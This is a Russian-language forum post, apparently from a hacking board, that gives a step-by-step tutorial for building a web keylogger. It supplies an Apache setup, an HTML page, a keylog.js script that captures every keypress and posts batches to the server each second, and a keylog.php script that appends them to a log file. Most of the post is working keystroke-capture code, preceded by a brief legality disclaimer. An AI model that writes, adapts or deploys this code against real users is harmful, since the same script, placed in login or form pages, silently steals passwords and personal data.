- Регистрация
- 1 Фев 2025
- Сообщения
- 28
- Реакции
- 4
Как написать кейлоггер на Javascript и PHP
Кейлоггер (или регистратор нажатий клавиш) — это тип шпионского ПО, которое отслеживает и записывает набранные на компьютере или мобильном телефоне символы. Обычно его целью является получение доступа к личной информации пользователя, такой как пароли и другие личные данные.Кейлоггинг является незаконным, если он установлен без разрешения владельца устройства и для получения доступа к его личной информации. Поэтому используйте эту информацию для расширения своих знаний, а не для совершения вредоносных атак.
Установка Apache
Во-первых, для размещения базовой HTML-страницы нужен веб-сервер. Если в вашей системе Linux не установлен веб-сервер Apache, воспользуйтесь следующей командой:
Bash:
apt install apache2
Затем смените каталог на место расположения веб-сервера Apache.
Bash:
cd /var/www/html
Это место, куда я помещу файлы веб-сайта.
Базовая HTML-страница
На этом этапе создадайте в терминале базовую веб-страницу с помощью какого-нибудь текстового редактора (в моем случае — nano).
Bash:
nano index.html
Добавьте следующий код:
HTML:
<!DOCTYPE html>
<html>
<head>
<title>Кейлоггер</title>
<meta charset="utf-8">
<style>
textarea {
width: 40%;
height: 200px;
font-size: 18px;
}
</style>
<script src="keylog.js"></script>
</head>
<body>
<h1>Всё, что вы печатаете, будет записано!</h1>
<textarea></textarea>
</body>
</html>
Важные моменты:
Следующий код включает внешний JavaScript-файл с именем keylog.js, который я создам на следующем этапе. Этот скрипт будет отвечать за работу с функцией кейлоггинга:
HTML:
<script src=”keylog.js”></script>
Следующий код создает текстовое поле, в котором пользователь может вводить текст с помощью клавиатуры:
HTML:
<textarea></textarea>
JavaScript кейлоггер keylog.js
Создайте файл keylog.js с помощью текстового редактора:
Bash:
nano keylog.js
Добавьте следующий код:
JavaScript:
var keylog = {
// НАСТРОЙКИ
cache : [], // временное хранилище для нажатий клавиш
delay : 1000, // как часто отправлять данные на сервер
sending : false, // флаг для разрешения отправки одного пакета за раз
// ИНИЦИАЛИЗАЦИЯ
init : () => {
// ЗАХВАТ НАЖАТИЙ КЛАВИШ
window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
// ОТПРАВКА НАЖАТИЙ КЛАВИШ
window.setInterval(keylog.send, keylog.delay);
},
// AJAX
send : () => { if (!keylog.sending && keylog.cache.length != 0) {
// "БЛОКИРОВКА" ДО ОТПРАВКИ ЭТОГО ПАКЕТА НА СЕРВЕР
keylog.sending = true;
// ДАННЫЕ О НАЖАТИИ КЛАВИШ
var data = new FormData();
data.append("keys", JSON.stringify(keylog.cache));
keylog.cache = []; // очистить нажатые клавиши
// ОТПРАВКА ПО FETCH
fetch("keylog.php", { method:"POST", body:data })
.then(res=>res.text()).then(res => {
keylog.sending = false; // разблокировка
console.log(res); // необязательно
})
.catch(err => console.error(err));
}}
};
window.addEventListener("DOMContentLoaded", keylog.init);
Этот код, по сути, создает базовый кейлоггер, который перехватывает нажатия клавиатуры пользователем на веб-странице. Кейлоггер собирает данные нажатия клавиш и отправляет их на сервер.
Собранные данные передаются серверному скрипту keylog.php, который мы создадим на следующем этапе.
Файл захвата keylog.php
Создайте еще один файл с именем keylog.php.
Bash:
nano keylog.php
И добавьте следующий код:
PHP:
<?php
// (A) ОТКРЫТИЕ ФАЙЛА ЖУРНАЛА КЛАВИШ В РЕЖИМЕ ДОПОЛНЕНИЯ
$file = fopen("keylog.txt", "a+");
// (B) СОХРАНЕНИЕ НАЖАТЫХ КЛАВИШ
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }
// (C) ЗАКРЫТИЕ ФАЙЛА
fclose($file);
echo "OK";
?>
Это PHP-скрипт, который сохраняет перехваченные нажатия клавиш в текстовый файл под названием keylog.txt, поэтому убедитесь, что вы создали текстовый файл keylog.txt с помощью текстового редактора.
На данный момент в веб-директории Apache ( /var/www/html) должно быть четыре файла. Вы можете использовать команду ls для просмотра списка файлов.
Теперь перезапустите веб-сервер с помощью команды:
Bash:
service apache2 restart
Давайте откроем веб-страницу в браузере, используя мой локальный IP-адрес.
Вы должны быть зарегистрированы для просмотра ссылок
В поле textarea я введу к примеру такой текст This keylogger works! (Этот кейлоггер работает!).
Теперь переключимся на местоположение веб-сервера Apache и откроем файл keylog.txt.
Bash:
nano keylog.txt
Вы должны быть зарегистрированы для просмотра вложений
Как видите, я успешно перехватил нажатия клавиш.